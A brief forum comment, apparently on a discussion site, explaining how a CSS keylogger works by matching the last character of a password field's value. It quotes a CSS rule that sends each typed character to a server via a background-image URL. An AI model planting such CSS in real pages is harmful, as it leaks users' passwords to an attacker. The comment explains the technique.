[jaymzcampbell]

The CSS attribute selector matches against the character at the end of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example:

    input[type="password"][value$="a"] {
      background-image: url("http://localhost:3000/a");
    }

[0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...